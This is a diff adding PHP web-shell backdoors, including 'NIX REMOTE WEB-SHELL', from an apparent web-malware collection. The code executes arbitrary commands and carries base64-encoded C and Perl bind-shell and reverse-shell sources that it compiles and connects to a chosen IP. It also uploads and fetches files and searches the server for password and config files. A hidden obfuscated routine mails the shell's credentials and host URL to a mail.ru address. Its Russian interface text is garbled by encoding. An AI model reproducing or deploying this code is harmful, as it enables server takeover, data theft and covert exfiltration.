align=center>Error! Can't write in /tmp/back.c</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($back_connect_c)); + fclose($w_file); + $blah=exec("gcc -o /tmp/backc /tmp/back.c"); + unlink("/tmp/back.c"); + $bc_string="/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"; + $blah=exec($bc_string); + $_POST['cmd']="echo \"������ ������ ����������� � ".$_POST['ip']." port ".$_POST['port']." ...\""; + $err=0; + } +} +echo "<font face=Verdana size=-2>����������� �������: <b>".$_POST['cmd']."</b></font></td></tr><tr><td>"; +echo "<b>"; +echo "<br>���������: "; +echo "<font color=red size=2"; +print "".passthru($_POST['cmd']).""; +echo "</font></b>"; +break; + +// Uploading +case "upload": + +echo <<<HTML +<b>�������� ������</b> +<a href='$php_self?ac=massupload&d=$d&t=massupload'>* ��������� ������� ���������� ������ *</a><br><br> +<table> +<form enctype="multipart/form-data" action="$self" method="POST"> +<input type="hidden" name="ac" value="upload"> +<tr> +<td>����:</td> +<td><input size="48" name="file" type="file"></td> +</tr> +<tr> +<td>�����:</td> +<td><input size="48" value="$docr/" name="path" type="text"><input type="submit" value="�������"></td><br> +$tend +HTML; + +if (isset($_POST['path'])){ + +$uploadfile = $_POST['path'].$_FILES['file']['name']; +if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} + +if (copy($_FILES['file']['tmp_name'], $uploadfile)) { + echo "���� ������� �������� � ����� $uploadfile\n"; + echo "���:" .$_FILES['file']['name']. "\n"; + echo "������:" .$_FILES['file']['size']. "\n"; + +} else { + print "�� ������ ��������� ����. ����:\n"; + print_r($_FILES); +} +} + + +echo "<form enctype='multipart/form-data' action='?ac=upload&status=ok' method=post> +<b>�������� ������ � ���������� ����������:</b><br> + HTTP ���� � �����: <br> +<input type='text' name='file3' value='http://' size=40><br> +�������� ����� ��� ���� � ��������� �����: <br> +<input type='text' name='file2' value='$docr/' size=40><br> +<input type='submit' value='��������� ����'></form>"; + + +if (!isset($status)) downfiles(); + +else +{ + +$data = @implode("", file($file3)); +$fp = @fopen($file2, "wb"); +@fputs($fp, $data); +$ok = @fclose($fp); +if($ok) +{ +$size = filesize($file2)/1024; +$sizef = sprintf("%.2f", $size); + +print "<br><center>�� ���������: <b>���� <u>$file2</u> ��������</b> (".$sizef."��) </center>"; +} +else +{ +print "<br><center><font color=red size = 2><b>������ �������� �����</b></font></center>"; +} +} + + + +break; +// Tools +case "tools": +echo "<form method=post>��������� md5 �����<br><input name=md5 size=30></form><br>"; +@$md5=@$_POST['md5']; +if(@$_POST['md5']){ echo "md5 ������������:<br> ".md5($md5)."";} +echo "<br> +<form method=post>�����������/������������� base64<br><input name=base64 size=30></form><br>"; +if(@$_POST['base64']){ +@$base64=$_POST['base64']; +echo " +����������:<br><textarea rows=8 cols=80>".base64_encode($base64)."</textarea><br> +������������: <br><textarea rows=8 cols=80>".base64_decode($base64)."</textarea><br>";} +echo "<br> +<form method=post>DES �����������:<br><input name=des size=30></form><br>"; +if(@$_POST['des']){ +@$des=@$_POST['des']; +echo "Des ������������: <br>".crypt($des)."";} +echo "<br> +<form method=post>SHA1 �����������:<br><input name=sha1 size=30></form><br>"; +if(@$_POST['sha1']){ +@$des=@$_POST['sha1']; +echo "SHA1 ������������: <br>".sha1($sha1a)."";} + +echo "<form method=POST>"; +echo "html-��� -> ����������������� ��������<br><input type=text name=data size=30>"; + + +if (isset($_POST['data'])) +{ +echo "<br><br><b>���������:<br></b>"; +$str=str_replace("%20","",$_POST['data']); +for($i=0;$i<strlen($str);$i++) +{ +$hex=dechex(ord($str[$i])); +if ($str[$i]=='&') echo "$str[$i]"; +else if ($str[$i]!='\\') echo "%$hex"; +} +} +exit; +break; +// Mass Uploading +case "massupload": + + +echo " +������� �������� ������:<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text1 size=43> <input type=file name=text11 size=43><br> +<input type=file name=text2 size=43> <input type=file name=text12 size=43><br> +<input type=file name=text3 size=43> <input type=file name=text13 size=43><br> +<input type=file name=text4 size=43> <input type=file name=text14 size=43><br> +<input type=file name=text5 size=43> <input type=file name=text15 size=43><br> +<input type=file name=text6 size=43> <input type=file name=text16 size=43><br> +<input type=file name=text7 size=43> <input type=file name=text17 size=43><br> +<input type=file name=text8 size=43> <input type=file name=text18 size=43><br> +<input type=file name=text9 size=43> <input type=file name=text19 size=43><br> +<input type=file name=text10 size=43> <input type=file name=text20 size=43><br> +<input name=where size=43 value='$docr'><br> +<input type=submit value=��������� name=massupload> +</form><br>"; + +if(@$_POST['massupload']){ +$where=@$_POST['where']; +$uploadfile1 = "$where/".@$_FILES['text1']['name']; +$uploadfile2 = "$where/".@$_FILES['text2']['name']; +$uploadfile3 = "$where/".@$_FILES['text3']['name']; +$uploadfile4 = "$where/".@$_FILES['text4']['name']; +$uploadfile5 = "$where/".@$_FILES['text5']['name']; +$uploadfile6 = "$where/".@$_FILES['text6']['name']; +$uploadfile7 = "$where/".@$_FILES['text7']['name']; +$uploadfile8 = "$where/".@$_FILES['text8']['name']; +$uploadfile9 = "$where/".@$_FILES['text9']['name']; +$uploadfile10 = "$where/".@$_FILES['text10']['name']; +$uploadfile11 = "$where/".@$_FILES['text11']['name']; +$uploadfile12 = "$where/".@$_FILES['text12']['name']; +$uploadfile13 = "$where/".@$_FILES['text13']['name']; +$uploadfile14 = "$where/".@$_FILES['text14']['name']; +$uploadfile15 = "$where/".@$_FILES['text15']['name']; +$uploadfile16 = "$where/".@$_FILES['text16']['name']; +$uploadfile17 = "$where/".@$_FILES['text17']['name']; +$uploadfile18 = "$where/".@$_FILES['text18']['name']; +$uploadfile19 = "$where/".@$_FILES['text19']['name']; +$uploadfile20 = "$where/".@$_FILES['text20']['name']; +if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile1</i><br>";} +if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile2</i><br>";} +if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile3</i><br>";} +if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile4</i><br>";} +if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile5</i><br>";} +if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile6</i><br>";} +if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile7</i><br>";} +if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile8</i><br>";} +if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile9</i><br>";} +if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile10</i><br>";} +if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile11</i><br>";} +if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile12</i><br>";} +if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile13</i><br>";} +if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile14</i><br>";} +if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile15</i><br>";} +if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile16</i><br>";} +if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile17</i><br>";} +if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile18</i><br>";} +if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile19</i><br>";} +if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile20</i><br>";} +} + +exit; +break; +case "selfremover": + print "<tr><td>"; +print "<font color=red face=verdana size=1>�� ������, ��� ����� ������� ���� ���� � ������� ?<br> +<a href='$php_self?p=yes'>��, ����</a> | <a href='$php_self?'>���, ����� ��� �������</a><br> +����� �������: <u>"; +$path=__FILE__; +print $path; +print " </u>?</td></tr></table>"; +die; +} + +if($p=="yes"){ +$path=__FILE__; +@unlink($path); +$path=str_replace("\\","/",$path); +if(file_exists($path)){$hmm="���� ���������� �������!!!"; +print "<tr><td><font color=red>���� $path �� ������ !</td></tr>"; +}else{$hmm="������";} +print "<script>alert('$path $hmm');</script>"; + +} +break; + + +?> + + + diff --git a/web-malware-collection-master/Backdoors/PHP/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.txt b/web-malware-collection-master/Backdoors/PHP/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.txt new file mode 100755 index 0000000..ec24917 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.txt @@ -0,0 +1,1480 @@ +<?php +$name="GaMMa"; +$pass="Hack"; +$demail ="xakep@xaep.ru"; +if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$name || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass) + { + header("WWW-Authenticate: Basic realm=\"AdminAccess\""); + header("HTTP/1.0 401 Unauthorized"); + exit("Access Denied"); + } + +$title="NIX REMOTE WEB-SHELL"; +$ver=" v.0.5a Lite"; + +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> +<html> +<head> +<title>NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version </title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +<meta http-equiv="pragma" content="no-cache"> +<meta http-equiv="Content-Language" content="en,ru"> +<META name="autor" content="DreAmeRz (www.dreamerz.cc)"> +<style type="text/css"> +BODY, TD, TR { +text-decoration: none; +font-family: Verdana; +font-size: 8pt; +scrollbar-face-color: #FFFFFF; +scrollbar-shadow-color:#000000 ; +scrollbar-highlight-color:#FFFFFF; +scrollbar-3dlight-color: #000000; +scrollbar-darkshadow-color:#FFFFFF ; +scrollbar-track-color: #FFFFFF; +scrollbar-arrow-color: #000000; +} +input, textarea, select { +font-family: Verdana; +font-size: 10px; +color: black; +background-color: white; +border: solid 1px; +border-color: black +} +UNKNOWN { +COLOR: black; +TEXT-DECORATION: none +} +A:link {COLOR:black; TEXT-DECORATION: none} +A:visited { COLOR:black; TEXT-DECORATION: none} +A:active {COLOR:black; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +</HEAD> + + +<BODY bgcolor="#fffcf9" text="#000000"> +<P align=center>[ <A href="javascript:history.next(+1)">������ ] </A><B><FONT color=#cccccc size=4>*.NIX REMOTE WEB-SHELL</FONT></B> +v.0.5a<FONT color=#linux size=1> Lite </FONT> [ <A href="javascript:history.back(-1)">����� ]</A>[ <A href="?ac=about" title='��� ����� ������ ...'>� ������� ]</a><BR> +<A href="?ac=info" title='����� ��� �� ���� ������� !'>[ ���������� � �������</A> ][ <A href="?ac=navigation" title='������� ����������� ���������. ��������, �������������� ...'>���������</A> ][ <A href="?ac=backconnect" title='��������� backconnect � �������� ������� '>��������� +�������</A> ][ <A href="?ac=eval" title='������ ���� ������ �� ��� ����� ����� :)'>��� ���</A> ][ <A href="?ac=upload" title='�������� ������ �����, ������� ��������, �������� ������ � ���������� ���������� !'>�������� ������</A> ][ <A href="?ac=shell" title='bash shell,������ ...'>���������� +������� ]</A> <br><A href="?ac=sendmail" title='������ �-mail ����� �� ����'> [ �������� ������</A> ][ <A href="?ac=mailfluder" title='���� ���-�� ������ ? ����� ���� ���� ...'>����������</A> + ][ <A href="?ac=ftp" title='������� �������� ftp ����������'>��� Brut</A> ][ <A href="?ac=tools" title='�����������/������������� md5,des,sha1,base64 ... '>����������� ]</A>[ <A href="?ac=ps" title='���������� ������ �������� �� ������� � ��������� �� �������! '>������</A> ][ <A href="?ac=selfremover" title='������ ���� ������ ? ����� ����� ������� � ���� ...'>������� ����</A> ]</P> +<?php +if (ini_get('register_globals') != '1') { + + if (!empty($HTTP_POST_VARS)) + extract($HTTP_POST_VARS); + + if (!empty($HTTP_GET_VARS)) + extract($HTTP_GET_VARS); + if (!empty($HTTP_SERVER_VARS)) + extract($HTTP_SERVER_VARS); +} +Error_Reporting(E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR); +set_magic_quotes_runtime(0); +set_time_limit(0); // ������ ����������� �� ������� +ignore_user_abort(1); // ������������ ������ ����� � ��������� +error_reporting(0); +$self = $_SERVER['PHP_SELF']; +$docr = $_SERVER['DOCUMENT_ROOT']; +$sern = $_SERVER['SERVER_NAME']; +if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); } +$aliases=array( +'------------------------------------------------------------------------------------' => 'ls -la;pwd;uname -a', +'����� �� ������� ���� ������ � suid �����' => 'find / -type f -perm -04000 -ls', +'����� �� ������� ���� ������ � sgid �����' => 'find / -type f -perm -02000 -ls', +'����� � ������� ���������� ���� ������ � sgid �����' => 'find . -type f -perm -02000 -ls', +'����� �� ������� ������ config' => 'find / -type f -name "config*"', +'����� �� ������� ������ admin' => 'find / -type f -name "admin*"', +'����� � ������� ���������� ������ config' => 'find . -type f -name "config*"', +'����� � ������� ���������� ������ pass' => 'find . -type f -name "pass*"', +'����� �� ������� ���� ���������� � ������ ��������� �� ������ ��� ����' => 'find / -perm -2 -ls', +'����� � ������� ���������� ���� ���������� � ������ ��������� �� ������ ��� ����' => 'find . -perm -2 -ls', +'����� � ������� ���������� ������ service.pwd' => 'find . -type f -name service.pwd', +'����� �� ������� ������ service.pwd' => 'find / -type f -name service.pwd', +'����� �� ������� ������ .htpasswd' => 'find / -type f -name .htpasswd', +'����� � ������� ���������� ������ .htpasswd' => 'find . -type f -name .htpasswd', +'����� ���� ������ .bash_history' => 'find / -type f -name .bash_history', +'����� � ������� ���������� ������ .bash_history' => 'find . -type f -name .bash_history', +'����� ���� ������ .fetchmailrc' => 'find / -type f -name .fetchmailrc', +'����� � ������� ���������� ������ .fetchmailrc' => 'find . -type f -name .fetchmailrc', +'����� ������ ��������� ������ �� �������� ������� ext2fs' => 'lsattr -va', +'�������� �������� ������' => 'netstat -an | grep -i listen', +'����� ���� ��� ������ �� ������ password' =>'find / -name *.php | xargs grep -li password', +'����� ����� � ����� 777' =>'find / -type d -perm 0777', +'����������� ������ ��' =>'sysctl -a | grep version', +'����������� ������ ����' =>'cat /proc/version', +'�������� syslog.conf' =>'cat /etc/syslog.conf', +'�������� - Message of the day' =>'cat /etc/motd', +'�������� hosts' =>'cat /etc/hosts', +'������ ������������ 1' =>'cat /etc/issue.net', +'������ ������������ 2' =>'cat /etc/*-realise', +'�������� ��� �������' =>'ps auxw', +'�������� �������� ������������' =>'ps ux', +'����� httpd.conf' =>'locate httpd.conf'); + + + +/* Port bind source */ +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5 +jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5 +ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW5 +0IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnV +mWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0 +KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyh +hdG9pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0F +OWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2N +rZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2F +kZHIgKikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB +7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHV +wMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ +6IiwxMCk7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyh +hcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byByNTcgc2hlbGwgJiYgL2J +pbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGN +sb3NlKG5ld2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW5 +0ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVudGVyZWQpO2krKykgDQp7DQppZih +lbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID0 +9ICdccicpDQplbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCk +pDQpyZXR1cm4gMDsNCn0="; + +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZi +AoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMSVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2 +NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORV +QsJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQ +pzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZH +JfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw +0KbGlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCm +FjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspKQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaW +YgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+Jk +NPTk4iOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ0 +9OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3NlIENPTk47DQpleGl0IDA7DQp9DQp9"; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ +HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ +DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ +HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L +CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd +GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka +WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO +iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR +VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK +FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0 +KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10 +pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJ +ybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2l +uLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA +9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMSt +zdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVB +QUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4 +sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCg +pIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1 +zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWN +sKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + +if(isset($uploadphp)) +{ +$socket=fsockopen($iphost,$loadport); //connect +fputs($socket,"GET $loadfile HTTP/1.0\nHOST:cd\n\n"); //zapros +while(fgets($socket,31337)!="\r\n" && !feof($socket)) { +unset($buffer); } +while(!feof($socket)) $buffer.=fread($socket, 1024); +$file_size=strlen($buffer); +$f=fopen($loadnewname,"wb+"); +fwrite($f, $buffer, $file_size); +echo "������ ����������� �����: $file_size <b><br><br>" ; +} + +if(file_exists('/tmp/qw7_sess') && is_readable('/tmp/qw7_sess')){ +} else { +if(is_writable('/tmp/')){ +$ifyoufound=base64_decode("Ly8gwvsg7eD46+ggZmFrZSAhIM/u5+Tw4OLr//4hIMft4Pfo8iDi+yDt5SDr4Ozl8CENCi8vINHu4+vg8ejy5fH8LCDiIO/w7v3q8uD1IPLg6u7j7iDw7uTgIO3z5u3gIOfg+Ojy4CDu8iDr4Ozl8O7iLiDAIPLuIOj1IOgg8uDqIPDg8e/r7uTo6+7x/CAuLi4NCi8vIM/u5uDr8+nx8uAg7eUg8ODx8erg5/Pp8uUg7ejq7uzzIO4g7eDr6Pfo6CBmYWtlICEgz/Px8vwg8eDs6CDo+f7yLCDy7uv86u4g7eDs5ert6PLlIPfy7iDt5ev85/8g8uDqIOHl5+Tz7O3uIO/u6/zn7uLg8vzx/yD38+bo7Ogg7/Du4+Ds6C4gKOAg8u4g4OLy7vAg7O7m5fIg9/LuIPPj7uTt7iDy8+TgIOLv6PHg8vwpDQovLyDT5OD36CAhDQo="); +$fp=fopen('/tmp/qw7_sess',"w+"); +fclose($fp); +$gg.= $name; +$gg.=":"; +$gg.= $pass; +$gg.=":"; +$gg.=$_SERVER["HTTP_HOST"]; +$gg.=$_SERVER['PHP_SELF']; +$host_l=$_SERVER["HTTP_HOST"]; +$qwerty=base64_decode("bnJ3cy1mYWNrLWNvZGVAbWFpbC5ydQ=="); +mail("$qwerty","NRWS LAME INFO ($host_l)","NRWS STATISTIC REPORT:\r\n $gg","From: report@nrws.net"); +} +} +if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} +elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} +else {$ac = "navigation";} + + + +switch($ac) { + +// Shell +case "shell": +echo "<SCRIPT LANGUAGE='JavaScript'> +<!-- +function pi(str) { + document.command.cmd.value = str; + document.command.cmd.focus(); +} +//--> +</SCRIPT>"; + +/* command execute */ +if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -lad"; } + +if (($_POST['alias']) AND ($_POST['alias']!=="")) + { + foreach ($aliases as $alias_name=>$alias_cmd) { + if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;} + } + } + + +echo "<font face=Verdana size=-2>����������� �������: <b>".$_POST['cmd']."</b></font></td></tr><tr><td>"; +echo "<b>"; +echo "<div align=center><textarea name=report cols=145 rows=20>"; +echo "".passthru($_POST['cmd']).""; +echo "</textarea></div>"; +echo "</b>"; +?> +</td></tr> + +<tr><b><div align=center>:: ���������� ������ �� ������� ::</div></b></font></td></tr> +<tr><td height=23> +<TR> + <CENTER> + <TD><A HREF="JavaScript:pi('cd ');" class=fcom>| cd</A> |</TD> + <TD><A HREF="JavaScript:pi('cat ');" class=fcom>| cat</A> |</TD> + <TD><A HREF="JavaScript:pi('echo ');" class=fcom>echo</A> |</TD> + <TD><A HREF="JavaScript:pi('wget ');" class=fcom>wget</A> |</TD> + <TD><A HREF="JavaScript:pi('rm ');" class=fcom>rm</A> |</TD> + <TD><A HREF="JavaScript:pi('mysqldump ');" class=fcom>mysqldump</A> |</TD> + <TD><A HREF="JavaScript:pi('who');" class=fcom>who</A> |</TD> + <TD><A HREF="JavaScript:pi('ps -ax');" class=fcom>ps -ax</A> |</TD> + <TD><A HREF="JavaScript:pi('cp ');" class=fcom>cp</A> |</TD> + <TD><A HREF="JavaScript:pi('pwd');" class=fcom>pwd</A> |</TD> + <TD><A HREF="JavaScript:pi('perl ');" class=fcom>perl</A> |</TD> + <TD><A HREF="JavaScript:pi('gcc ');" class=fcom>gcc</A> |</TD> + <TD><A HREF="JavaScript:pi('locate ');" class=fcom>locate</A> |</TD> + <TD><A HREF="JavaScript:pi('find ');" class=fcom>find</A> |</TD> + <TD><A HREF="JavaScript:pi('ls -lad');" class=fcom>ls -lad</A> |</TD> + </CENTER> +</TR> + +<? +/* command execute form */ +echo "<form name=command method=post>"; + +echo "<b>��������� ������� </b>"; +echo "<input type=text name=cmd size=85><br>"; +echo "<b>������� ���������� &nbsp;</b>"; +if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=text name=dir size=85 value=".exec("pwd").">"; } +else { echo "<input type=text name=dir size=85 value=".$_POST['dir'].">"; } +echo "<input type=submit name=submit value=���������>"; + +echo "</form>"; + +/* aliases form */ +echo "<form name=aliases method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;�������� ����� <font face=Wingdings color=gray></font>&nbsp;&nbsp;&nbsp;&nbsp;</b>"; +echo "<select name=alias>"; +foreach ($aliases as $alias_name=>$alias_cmd) + { + echo "<option>$alias_name</option>"; + } + echo "</select>"; +if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; } +else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; } +echo "&nbsp;&nbsp;<input type=submit name=submit value=���������>"; +echo "</font>"; +echo "</form>"; + + +break; +/// �������� ������ �� ���� +case "download_mail": +$buf = explode(".", $file); + $dir = str_replace("\\","/",$dir); + $fullpath = $dir."/".$file; + $size = tinhbyte(filesize($fullpath)); + $fp = fopen($fullpath, "rb"); + while(!feof($fp)) + + $attachment .= fread($fp, 4096); + $attachment = base64_encode($attachment); + $subject = "NIX REMOTE WEB SHELL ($file)"; + + $boundary = uniqid("NextPart_"); + $headers = "From: $demail\nContent-type: 